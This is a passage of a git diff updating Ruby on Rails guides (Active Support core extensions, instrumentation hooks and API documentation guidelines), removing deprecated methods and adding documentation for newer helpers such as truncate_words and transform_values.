 The methods `silence_warnings` and `enable_warnings` change the value of `$VERBOSE` accordingly for the duration of their block, and reset it afterwards:
 
@@ -471,26 +475,10 @@ The methods `silence_warnings` and `enable_warnings` change the value of `$VERBO
 silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
 ```
 
-You can silence any stream while a block runs with `silence_stream`:
-
-```ruby
-silence_stream(STDOUT) do
-  # STDOUT is silent here
-end
-```
-
-The `quietly` method addresses the common use case where you want to silence STDOUT and STDERR, even in subprocesses:
-
-```ruby
-quietly { system 'bundle install' }
-```
-
-For example, the railties test suite uses that one in a few places to prevent command messages from being echoed intermixed with the progress status.
-
 Silencing exceptions is also possible with `suppress`. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is `kind_of?` any of the arguments, `suppress` captures it and returns silently. Otherwise the exception is reraised:
 
 ```ruby
-# If the user is locked the increment is lost, no big deal.
+# If the user is locked, the increment is lost, no big deal.
 suppress(ActiveRecord::StaleObjectError) do
   current_user.increment! :visits
 end
@@ -570,12 +558,12 @@ NOTE: Defined in `active_support/core_ext/module/aliasing.rb`.
 
 #### `alias_attribute`
 
-Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (my mnemonic is they go in the same order as if you did an assignment):
+Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (one mnemonic is that they go in the same order as if you did an assignment):
 
 ```ruby
 class User < ActiveRecord::Base
-  # let me refer to the email column as "login",
-  # possibly meaningful for authentication code
+  # You can refer to the email column as "login".
+  # This can be meaningful for authentication code.
   alias_attribute :login, :email
 end
 ```
@@ -622,7 +610,7 @@ NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`.
 
 #### Module Attributes
 
-The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are analogous to the `cattr_*` macros defined for class. Check [Class Attributes](#class-attributes).
+The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are the same as the `cattr_*` macros defined for class. In fact, the `cattr_*` macros are just aliases for the `mattr_*` macros. Check [Class Attributes](#class-attributes).
 
 For example, the dependencies mechanism uses them:
 
@@ -733,7 +721,7 @@ X.local_constants    # => [:X1, :X2, :Y]
 X::Y.local_constants # => [:Y1, :X1]
 ```
 
-The names are returned as symbols. (The deprecated method `local_constant_names` returns strings.)
+The names are returned as symbols.
 
 NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
 
@@ -759,7 +747,7 @@ Arguments may be bare constant names:
 Math.qualified_const_get("E") # => 2.718281828459045
 ```
 
-These methods are analogous to their builtin counterparts. In particular,
+These methods are analogous to their built-in counterparts. In particular,
 `qualified_constant_defined?` accepts an optional second argument to be
 able to say whether you want the predicate to look in the ancestors.
 This flag is taken into account for each constant in the expression while
@@ -790,7 +778,7 @@ N.qualified_const_defined?("C::X")        # => true
 As the last example implies, the second argument defaults to true,
 as in `const_defined?`.
 
-For coherence with the builtin methods only relative paths are accepted.
+For coherence with the built-in methods only relative paths are accepted.
 Absolute qualified constant names like `::Math::PI` raise `NameError`.
 
 NOTE: Defined in `active_support/core_ext/module/qualified_const.rb`.
@@ -886,7 +874,7 @@ class User < ActiveRecord::Base
 end
 ```
 
-With that configuration you get a user's name via his profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:
+With that configuration you get a user's name via their profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:
 
 ```ruby
 class User < ActiveRecord::Base
@@ -962,20 +950,7 @@ NOTE: Defined in `active_support/core_ext/module/delegation.rb`
 
 There are cases where you need to define a method with `define_method`, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.
 
-The method `redefine_method` prevents such a potential warning, removing the existing method before if needed. Rails uses it in a few places, for instance when it generates an association's API:
-
-```ruby
-redefine_method("#{reflection.name}=") do |new_value|
-  association = association_instance_get(reflection.name)
-
-  if association.nil? || association.target != new_value
-    association = association_proxy_class.new(self, reflection)
-  end
-
-  association.replace(new_value)
-  association_instance_set(reflection.name, new_value.nil? ? nil : association)
-end
-```
+The method `redefine_method` prevents such a potential warning, removing the existing method before if needed.
 
 NOTE: Defined in `active_support/core_ext/module/remove_method.rb`
 
@@ -1022,7 +997,7 @@ self.default_params = {
 }.freeze
 ```
 
-They can be also accessed and overridden at the instance level.
+They can also be accessed and overridden at the instance level.
 
 ```ruby
 A.x = 1
@@ -1091,6 +1066,15 @@ end
 
 we can access `field_error_proc` in views.
 
+Also, you can pass a block to `cattr_*` to set up the attribute with a default value:
+
+```ruby
+class MysqlAdapter < AbstractAdapter
+  # Generates class methods to access @@emulate_booleans with default value of true.
+  cattr_accessor(:emulate_booleans) { true }
+end
+```
+
 The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value.
 
 ```ruby
@@ -1108,7 +1092,7 @@ end
 
 A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute.
 
-NOTE: Defined in `active_support/core_ext/class/attribute_accessors.rb`.
+NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`.
 
 ### Subclasses & Descendants
 
@@ -1167,9 +1151,9 @@ Inserting data into HTML templates needs extra care. For example, you can't just
 
 #### Safe Strings
 
-Active Support has the concept of <i>(html) safe</i> strings. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.
+Active Support has the concept of _(html) safe_ strings. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.
 
-Strings are considered to be <i>unsafe</i> by default:
+Strings are considered to be _unsafe_ by default:
 
 ```ruby
 "".html_safe? # => false
@@ -1270,7 +1254,7 @@ The method `squish` strips leading and trailing whitespace, and substitutes runs
 
 There's also the destructive version `String#squish!`.
 
-Note that it handles both ASCII and Unicode whitespace like mongolian vowel separator (U+180E).
+Note that it handles both ASCII and Unicode whitespace.
 
 NOTE: Defined in `active_support/core_ext/string/filters.rb`.
 
@@ -1312,6 +1296,38 @@ In above examples "dear" gets cut first, but then `:separator` prevents it.
 
 NOTE: Defined in `active_support/core_ext/string/filters.rb`.
 
+### `truncate_words`
+
+The method `truncate_words` returns a copy of its receiver truncated after a given number of words:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate_words(4)
+# => "Oh dear! Oh dear!..."
+```
+
+Ellipsis can be customized with the `:omission` option:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate_words(4, omission: '&hellip;')
+# => "Oh dear! Oh dear!&hellip;"
+```
+
+Pass a `:separator` to truncate the string at a natural break:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate_words(3, separator: '!')
+# => "Oh dear! Oh dear! I shall be late..."
+```
+
+The option `:separator` can be a regexp:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate_words(4, separator: /\s/)
+# => "Oh dear! Oh dear!..."
+```
+
+NOTE: Defined in `active_support/core_ext/string/filters.rb`.
+
 ### `inquiry`
 
 The `inquiry` method converts a string into a `StringInquirer` object making equality checks prettier.
@@ -1392,6 +1408,8 @@ The third argument, `indent_empty_lines`, is a flag that says whether empty line
 
 The `indent!` method performs indentation in-place.
 
+NOTE: Defined in `active_support/core_ext/string/indent.rb`.
+
 ### Access
 
 #### `at(position)`
@@ -1415,7 +1433,7 @@ Returns the substring of the string starting at position `position`:
 "hello".from(0)  # => "hello"
 "hello".from(2)  # => "llo"
 "hello".from(-2) # => "lo"
-"hello".from(10) # => "" if < 1.9, nil in 1.9
+"hello".from(10) # => nil
 ```
 
 NOTE: Defined in `active_support/core_ext/string/access.rb`.
@@ -1543,7 +1561,7 @@ ActiveSupport::Inflector.inflections do |inflect|
   inflect.acronym 'SSL'
 end
 
-"SSLError".underscore.camelize #=> "SSLError"
+"SSLError".underscore.camelize # => "SSLError"
 ```
 
 `camelize` is aliased to `camelcase`.
@@ -1631,6 +1649,9 @@ Given a string with a qualified constant name, `demodulize` returns the very con
 "Product".demodulize                        # => "Product"
 "Backoffice::UsersController".demodulize    # => "UsersController"
 "Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
+"::Inflections".demodulize                  # => "Inflections"
+"".demodulize                               # => ""
+
 ```
 
 Active Record for example uses this method to compute the name of a counter cache column:
@@ -1765,28 +1786,47 @@ NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
 
 #### `humanize`
 
-The method `humanize` gives you a sensible name for display out of an attribute name. To do so it replaces underscores with spaces, removes any "_id" suffix, and capitalizes the first word:
+The method `humanize` tweaks an attribute name for display to end users.
+
+Specifically performs these transformations:
+
+  * Applies human inflection rules to the argument.
+  * Deletes leading underscores, if any.
+  * Removes a "_id" suffix if present.
+  * Replaces underscores with spaces, if any.
+  * Downcases all words except acronyms.
+  * Capitalizes the first word.
+
+The capitalization of the first word can be turned off by setting the
++:capitalize+ option to false (default is true).
 
 ```ruby
-"name".humanize           # => "Name"
-"author_id".humanize      # => "Author"
-"comments_count".humanize # => "Comments count"
+"name".humanize                         # => "Name"
+"author_id".humanize                    # => "Author"
+"author_id".humanize(capitalize: false) # => "author"
+"comments_count".humanize               # => "Comments count"
+"_id".humanize                          # => "Id"
 ```
 
-The helper method `full_messages` uses `humanize` as a fallback to include attribute names:
+If "SSL" was defined to be an acronym:
 
 ```ruby
-def full_messages
-  full_messages = []
+'ssl_error'.humanize # => "SSL error"
+```
 
-  each do |attribute, messages|
-    ...
-    attr_name = attribute.to_s.gsub('.', '_').humanize
-    attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
-    ...
-  end
+The helper method `full_messages` uses `humanize` as a fallback to include
+attribute names:
 
-  full_messages
+```ruby
+def full_messages
+  map { |attribute, message| full_message(attribute, message) }
+end
+
+def full_message
+  ...
+  attr_name = attribute.to_s.tr('.', '_').humanize
+  attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
+  ...
 end
 ```
 
@@ -1896,24 +1936,6 @@ as well as adding or subtracting their results from a Time object. For example:
 (4.months + 5.years).from_now
 ```
 
-While these methods provide precise calculation when used as in the examples above, care
-should be taken to note that this is not true if the result of `months', `years', etc is
-converted before use:
-
-```ruby
-# equivalent to 30.days.to_i.from_now
-1.month.to_i.from_now
-
-# equivalent to 365.25.days.to_f.from_now
-1.year.to_f.from_now
-```
-
-In such cases, Ruby's core [Date](http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html) and
-[Time](http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html) should be used for precision
-date and time arithmetic.
-
-NOTE: Defined in `active_support/core_ext/numeric/time.rb`.
-
 ### Formatting
 
 Enables the formatting of numbers in a variety of ways.
@@ -1999,7 +2021,7 @@ Produce a string representation of a number in human-readable words:
 1234567890123456.to_s(:human)  # => "1.23 Quadrillion"
 ```
 
-NOTE: Defined in `active_support/core_ext/numeric/formatting.rb`.
+NOTE: Defined in `active_support/core_ext/numeric/conversions.rb`.
 
 Extensions to `Integer`
 -----------------------
@@ -2268,8 +2290,6 @@ The defaults for these options can be localized, their keys are:
 | `:words_connector`     | `support.array.words_connector`     |
 | `:last_word_connector` | `support.array.last_word_connector` |
 
-Options `:connector` and `:skip_last_comma` are deprecated.
-
 NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
 
 #### `to_formatted_s`
@@ -2444,7 +2464,7 @@ dup[1][2] = 4
 array[1][2] == nil   # => true
 ```
 
-NOTE: Defined in `active_support/core_ext/array/deep_dup.rb`.
+NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`.
 
 ### Grouping
 
@@ -2670,45 +2690,7 @@ hash[:b][:e] == nil      # => true
 hash[:b][:d] == [3, 4]   # => true
 ```
 
-NOTE: Defined in `active_support/core_ext/hash/deep_dup.rb`.
-
-### Diffing
-
-The method `diff` returns a hash that represents a diff of the receiver and the argument with the following logic:
-
-* Pairs `key`, `value` that exist in both hashes do not belong to the diff hash.
-
-* If both hashes have `key`, but with different values, the pair in the receiver wins.
-
-* The rest is just merged.
-
-```ruby
-{a: 1}.diff(a: 1)
-# => {}, first rule
-
-{a: 1}.diff(a: 2)
-# => {:a=>1}, second rule
-
-{a: 1}.diff(b: 2)
-# => {:a=>1, :b=>2}, third rule
-
-{a: 1, b: 2, c: 3}.diff(b: 1, c: 3, d: 4)
-# => {:a=>1, :b=>2, :d=>4}, all rules
-
-{}.diff({})        # => {}
-{a: 1}.diff({})    # => {:a=>1}
-{}.diff(a: 1)      # => {:a=>1}
-```
-
-An important property of this diff hash is that you can retrieve the original hash by applying `diff` twice:
-
-```ruby
-hash.diff(hash2).diff(hash2) == hash
-```
-
-Diffing hashes may be useful for error messages related to expected option hashes for example.
-
-NOTE: Defined in `active_support/core_ext/hash/diff.rb`.
+NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`.
 
 ### Working with Keys
 
@@ -2736,26 +2718,29 @@ NOTE: Defined in `active_support/core_ext/hash/except.rb`.
 The method `transform_keys` accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver:
 
 ```ruby
-{nil => nil, 1 => 1, a: :a}.transform_keys{ |key| key.to_s.upcase }
+{nil => nil, 1 => 1, a: :a}.transform_keys { |key| key.to_s.upcase }
 # => {"" => nil, "A" => :a, "1" => 1}
 ```
 
-The result in case of collision is undefined:
+In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:
 
 ```ruby
-{"a" => 1, a: 2}.transform_keys{ |key| key.to_s.upcase }
-# => {"A" => 2}, in my test, can't rely on this result though
+{"a" => 1, a: 2}.transform_keys { |key| key.to_s.upcase }
+# The result could either be
+# => {"A"=>2}
+# or
+# => {"A"=>1}
 ```
 
 This method may be useful for example to build specialized conversions. For instance `stringify_keys` and `symbolize_keys` use `transform_keys` to perform their key conversions:
 
 ```ruby
 def stringify_keys
-  transform_keys{ |key| key.to_s }
+  transform_keys { |key| key.to_s }
 end
 ...
 def symbolize_keys
-  transform_keys{ |key| key.to_sym rescue key }
+  transform_keys { |key| key.to_sym rescue key }
 end
 ```
 
@@ -2764,7 +2749,7 @@ There's also the bang variant `transform_keys!` that applies the block operation
 Besides that, one can use `deep_transform_keys` and `deep_transform_keys!` to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is:
 
 ```ruby
-{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys{ |key| key.to_s.upcase }
+{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys { |key| key.to_s.upcase }
 # => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}}
 ```
 
@@ -2779,11 +2764,14 @@ The method `stringify_keys` returns a hash that has a stringified version of the
 # => {"" => nil, "a" => :a, "1" => 1}
 ```
 
-The result in case of collision is undefined:
+In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:
 
 ```ruby
 {"a" => 1, a: 2}.stringify_keys
-# => {"a" => 2}, in my test, can't rely on this result though
+# The result could either be
+# => {"a"=>2}
+# or
+# => {"a"=>1}
 ```
 
 This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionView::Helpers::FormHelper` defines:
@@ -2820,11 +2808,14 @@ The method `symbolize_keys` returns a hash that has a symbolized version of the
 
 WARNING. Note in the previous example only one key was symbolized.
 
-The result in case of collision is undefined:
+In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:
 
 ```ruby
 {"a" => 1, a: 2}.symbolize_keys
-# => {:a=>2}, in my test, can't rely on this result though
+# The result could either be
+# => {:a=>2}
+# or
+# => {:a=>1}
 ```
 
 This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionController::UrlRewriter` defines
@@ -2869,6 +2860,20 @@ Active Record does not accept unknown options when building associations, for ex
 
 NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
 
+### Working with Values
+
+#### `transform_values` && `transform_values!`
+
+The method `transform_values` accepts a block and returns a hash that has applied the block operations to each of the values in the receiver.
+
+```ruby
+{ nil => nil, 1 => 1, :x => :a }.transform_values { |value| value.to_s.upcase }
+# => {nil=>"", 1=>"1", :x=>"A"}
+```
+There's also the bang variant `transform_values!` that applies the block operations to values in the very receiver.
+
+NOTE: Defined in `active_support/core_text/hash/transform_values.rb`.
+
 ### Slicing
 
 Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes:
@@ -2930,6 +2935,16 @@ The method `with_indifferent_access` returns an `ActiveSupport::HashWithIndiffer
 
 NOTE: Defined in `active_support/core_ext/hash/indifferent_access.rb`.
 
+### Compacting
+
+The methods `compact` and `compact!` return a Hash without items with `nil` value.
+
+```ruby
+{a: 1, b: 2, c: nil}.compact # => {a: 1, b: 2}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/compact.rb`.
+
 Extensions to `Regexp`
 ----------------------
 
@@ -3669,9 +3684,9 @@ t.advance(seconds: 1)
 
 #### `Time.current`
 
-Active Support defines `Time.current` to be today in the current time zone. That's like `Time.now`, except that it honors the user time zone, if defined. It also defines `Time.yesterday` and `Time.tomorrow`, and the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Time.current`.
+Active Support defines `Time.current` to be today in the current time zone. That's like `Time.now`, except that it honors the user time zone, if defined. It also defines the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Time.current`.
 
-When making Time comparisons using methods which honor the user time zone, make sure to use `Time.current` and not `Time.now`. There are cases where the user time zone might be in the future compared to the system time zone, which `Time.today` uses by default. This means `Time.now` may equal `Time.yesterday`.
+When making Time comparisons using methods which honor the user time zone, make sure to use `Time.current` instead of `Time.now`. There are cases where the user time zone might be in the future compared to the system time zone, which `Time.now` uses by default. This means `Time.now.to_date` may equal `Date.yesterday`.
 
 #### `all_day`, `all_week`, `all_month`, `all_quarter` and `all_year`
 
@@ -3782,50 +3797,6 @@ WARNING. If the argument is an `IO` it needs to respond to `rewind` to be able t
 
 NOTE: Defined in `active_support/core_ext/marshal.rb`.
 
-Extensions to `Logger`
-----------------------
-
-### `around_[level]`
-
-Takes two arguments, a `before_message` and `after_message` and calls the current level method on the `Logger` instance, passing in the `before_message`, then the specified message, then the `after_message`:
-
-```ruby
-logger = Logger.new("log/development.log")
-logger.around_info("before", "after") { |logger| logger.info("during") }
-```
-
-### `silence`
-
-Silences every log level lesser to the specified one for the duration of the given block. Log level orders are: debug, info, error and fatal.
-
-```ruby
-logger = Logger.new("log/development.log")
-logger.silence(Logger::INFO) do
-  logger.debug("In space, no one can hear you scream.")
-  logger.info("Scream all you want, small mailman!")
-end
-```
-
-### `datetime_format=`
-
-Modifies the datetime format output by the formatter class associated with this logger. If the formatter class does not have a `datetime_format` method then this is ignored.
-
-```ruby
-class Logger::FormatWithTime < Logger::Formatter
-  cattr_accessor(:datetime_format) { "%Y%m%d%H%m%S" }
-
-  def self.call(severity, timestamp, progname, msg)
-    "#{timestamp.strftime(datetime_format)} -- #{String === msg ? msg : msg.inspect}\n"
-  end
-end
-
-logger = Logger.new("log/development.log")
-logger.formatter = Logger::FormatWithTime
-logger.info("<- is the current time")
-```
-
-NOTE: Defined in `active_support/core_ext/logger.rb`.
-
 Extensions to `NameError`
 -------------------------
 
@@ -3835,15 +3806,15 @@ The name may be given as a symbol or string. A symbol is tested against the bare
 
 TIP: A symbol can represent a fully-qualified constant name as in `:"ActiveRecord::Base"`, so the behavior for symbols is defined for convenience, not because it has to be that way technically.
 
-For example, when an action of `PostsController` is called Rails tries optimistically to use `PostsHelper`. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that `posts_helper.rb` raises a `NameError` due to an actual unknown constant. That should be reraised. The method `missing_name?` provides a way to distinguish both cases:
+For example, when an action of `ArticlesController` is called Rails tries optimistically to use `ArticlesHelper`. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that `articles_helper.rb` raises a `NameError` due to an actual unknown constant. That should be reraised. The method `missing_name?` provides a way to distinguish both cases:
 
 ```ruby
 def default_helper_module!
   module_name = name.sub(/Controller$/, '')
   module_path = module_name.underscore
   helper module_path
-rescue MissingSourceFile => e
-  raise e unless e.is_missing? "#{module_path}_helper"
+rescue LoadError => e
+  raise e unless e.is_missing? "helpers/#{module_path}_helper"
 rescue NameError => e
   raise e unless e.missing_name? "#{module_name}Helper"
 end
@@ -3854,18 +3825,18 @@ NOTE: Defined in `active_support/core_ext/name_error.rb`.
 Extensions to `LoadError`
 -------------------------
 
-Active Support adds `is_missing?` to `LoadError`, and also assigns that class to the constant `MissingSourceFile` for backwards compatibility.
+Active Support adds `is_missing?` to `LoadError`.
 
 Given a path name `is_missing?` tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).
 
-For example, when an action of `PostsController` is called Rails tries to load `posts_helper.rb`, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method `is_missing?` provides a way to distinguish both cases:
+For example, when an action of `ArticlesController` is called Rails tries to load `articles_helper.rb`, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method `is_missing?` provides a way to distinguish both cases:
 
 ```ruby
 def default_helper_module!
   module_name = name.sub(/Controller$/, '')
   module_path = module_name.underscore
   helper module_path
-rescue MissingSourceFile => e
+rescue LoadError => e
   raise e unless e.is_missing? "helpers/#{module_path}_helper"
 rescue NameError => e
   raise e unless e.missing_name? "#{module_name}Helper"
diff --git a/guides/source/active_support_instrumentation.md b/guides/source/active_support_instrumentation.md
index 969596f470..9d9f40e956 100644
--- a/guides/source/active_support_instrumentation.md
+++ b/guides/source/active_support_instrumentation.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Active Support Instrumentation
 ==============================
 
@@ -17,7 +19,7 @@ After reading this guide, you will know:
 Introduction to instrumentation
 -------------------------------
 
-The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework, as described below in <TODO: link to section detailing each hook point>. With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.
+The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework, as described below in (TODO: link to section detailing each hook point). With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.
 
 For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be **subscribed** to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken.
 
@@ -135,7 +137,9 @@ Action Controller
 | `:format`       | html/js/json/xml etc                                      |
 | `:method`       | HTTP request verb                                         |
 | `:path`         | Request path                                              |
+| `:status`       | HTTP status code                                          |
 | `:view_runtime` | Amount spent in view in ms                                |
+| `:db_runtime`   | Amount spent executing database queries in ms             |
 
 ```ruby
 {
@@ -223,11 +227,11 @@ Active Record
 
 ### sql.active_record
 
-| Key          | Value                 |
-| ------------ | --------------------- |
-| `:sql`       | SQL statement         |
-| `:name`      | Name of the operation |
-| `:object_id` | `self.object_id`      |
+| Key              | Value                 |
+| ---------------- | --------------------- |
+| `:sql`           | SQL statement         |
+| `:name`          | Name of the operation |
+| `:connection_id` | `self.object_id`      |
 
 INFO. The adapters will add their own data as well.
 
@@ -364,7 +368,7 @@ INFO. Options passed to fetch will be merged with the payload.
 | ------ | --------------------- |
 | `:key` | Key used in the store |
 
-INFO. Cache stores my add their own keys
+INFO. Cache stores may add their own keys
 
 ```ruby
 {
@@ -396,6 +400,15 @@ INFO. Cache stores my add their own keys
 }
 ```
 
+Railties
+--------
+
+### load_config_initializer.railties
+
+| Key            | Value                                                 |
+| -------------- | ----------------------------------------------------- |
+| `:initializer` | Path to loaded initializer from `config/initializers` |
+
 Rails
 -----
 
@@ -448,6 +461,7 @@ Most times you only care about the data itself. Here is a shortcut to just get t
 ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
   data = args.extract_options!
   data # { extra: :information }
+end
 ```
 
 You may also subscribe to events matching a regular expression. This enables you to subscribe to
diff --git a/guides/source/api_documentation_guidelines.md b/guides/source/api_documentation_guidelines.md
index 98ead9570f..b385bdbe83 100644
--- a/guides/source/api_documentation_guidelines.md
+++ b/guides/source/api_documentation_guidelines.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 API Documentation Guidelines
 ============================
 
@@ -13,7 +15,19 @@ After reading this guide, you will know:
 RDoc
 ----
 
-The Rails API documentation is generated with RDoc. Please consult the documentation for help with the [markup](http://rdoc.rubyforge.org/RDoc/Markup.html), and also take into account these [additional directives](http://rdoc.rubyforge.org/RDoc/Parser/Ruby.html).
+The [Rails API documentation](http://api.rubyonrails.org) is generated with
+[RDoc](http://docs.seattlerb.org/rdoc/).
+
+```bash
+  bundle exec rake rdoc
+```
+
+Resulting HTML files can be found in the ./doc/rdoc directory.
+
+Please consult the RDoc documentation for help with the
+[markup](http://docs.seattlerb.org/rdoc/RDoc/Markup.html),
+and also take into account these [additional
+directives](http://docs.seattlerb.org/rdoc/RDoc/Parser/Ruby.html).
 
 Wording
 -------
@@ -42,10 +56,32 @@ Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. Wh
 
 Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".
 
+Prefer wordings that avoid "you"s and "your"s. For example, instead of
+
+```markdown
+If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods.
+```
+
+use this style:
+
+```markdown
+If `return` is needed it is recommended to explicitly define a method.
+```
+
+That said, when using pronouns in reference to a hypothetical person, such as "a
+user with a session cookie", gender neutral pronouns (they/their/them) should be
+used. Instead of:
+
+* he or she... use they.
+* him or her... use them.
+* his or her... use their.
+* his or hers... use theirs.
+* himself or herself... use themselves.
+
 English
 -------
 
-Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc).. See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).
+Please use American English (*color*, *center*, *modularize*, etc). See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).
 
 Example Code
 ------------
@@ -88,14 +124,14 @@ The results of expressions follow them and are introduced by "# => ", vertically
 If a line is too long, the comment may be placed on the next line:
 
 ```ruby
-#   label(:post, :title)
-#   # => <label for="post_title">Title</label>
+#   label(:article, :title)
+#   # => <label for="article_title">Title</label>
 #
-#   label(:post, :title, "A short title")
-#   # => <label for="post_title">A short title</label>
+#   label(:article, :title, "A short title")
+#   # => <label for="article_title">A short title</label>
 #
-#   label(:post, :title, "A short title", class: "title_label")
-#   # => <label for="post_title" class="title_label">A short title</label>
+#   label(:article, :title, "A short title", class: "title_label")
+#   # => <label for="article_title" class="title_label">A short title</label>
 ```
 
 Avoid using any printing methods like `puts` or `p` for that purpose.
@@ -106,8 +142,55 @@ On the other hand, regular comments do not use an arrow:
 #   polymorphic_url(record)  # same as comment_url(record)
 ```
 
-Filenames
----------
+Booleans
+--------
+
+In predicates and flags prefer documenting boolean semantics over exact values.
+
+When "true" or "false" are used as defined in Ruby use regular font. The
+singletons `true` and `false` need fixed-width font. Please avoid terms like
+"truthy", Ruby defines what is true and false in the language, and thus those
+words have a technical meaning and need no substitutes.
+
+As a rule of thumb, do not document singletons unless absolutely necessary. That
+prevents artificial constructs like `!!` or ternaries, allows refactors, and the
+code does not need to rely on the exact values returned by methods being called
+in the implementation.
+
+For example:
+
+```markdown
+`config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default
+```
+
+the user does not need to know which is the actual default value of the flag,
+and so we only document its boolean semantics.
+
+An example with a predicate:
+
+```ruby
+# Returns true if the collection is empty.
+#
+# If the collection has been loaded
+# it is equivalent to <tt>collection.size.zero?</tt>. If the
+# collection has not been loaded, it is equivalent to
+# <tt>collection.exists?</tt>. If the collection has not already been
+# loaded and you are going to fetch the records anyway it is better to
+# check <tt>collection.length.zero?</tt>.
+def empty?
+  if loaded?
+    size.zero?
+  else
+    @target.blank? && !scope.exists?
+  end
+end
+```
+
+The API is careful not to commit to any particular value, the method has
+predicate semantics, that's enough.
+
+File Names
+----------
 
 As a rule of thumb, use filenames relative to the application root:
 
@@ -141,7 +224,17 @@ class Array
 end
 ```
 
-WARNING: Using a pair of `+...+` for fixed-width font only works with **words**; that is: anything matching `\A\w+\z`. For anything else use `<tt>...</tt>`, notably symbols, setters, inline snippets, etc.
+WARNING: Using `+...+` for fixed-width font only works with simple content like
+ordinary method names, symbols, paths (with forward slashes), etc. Please use
+`<tt>...</tt>` for everything else, notably class or module names with a
+namespace as in `<tt>ActiveRecord::Base</tt>`.
+
+You can quickly test the RDoc output with the following command:
+
+```
+$ echo "+:to_param+" | rdoc --pipe
+#=> <p><code>:to_param</code></p>
+```
 
 ### Regular Font
 
@@ -207,3 +300,64 @@ self.class_eval %{
   end
 }
 ```
+
+Method Visibility
+-----------------
+
+When writing documentation for Rails, it's important to understand the difference between public user-facing API vs internal API.
+
+Rails, like most libraries, uses the private keyword from Ruby for defining internal API. However, public API follows a slightly different convention. Instead of assuming all public methods are designed for user consumption, Rails uses the `:nodoc:` directive to annotate these kinds of methods as internal API.
+
+This means that there are methods in Rails with `public` visibility that aren't meant for user consumption.
+
+An example of this is `ActiveRecord::Core::ClassMethods#arel_table`:
+
+```ruby
+module ActiveRecord::Core::ClassMethods
+  def arel_table #:nodoc:
+    # do some magic..
+  end
+end
+```
+
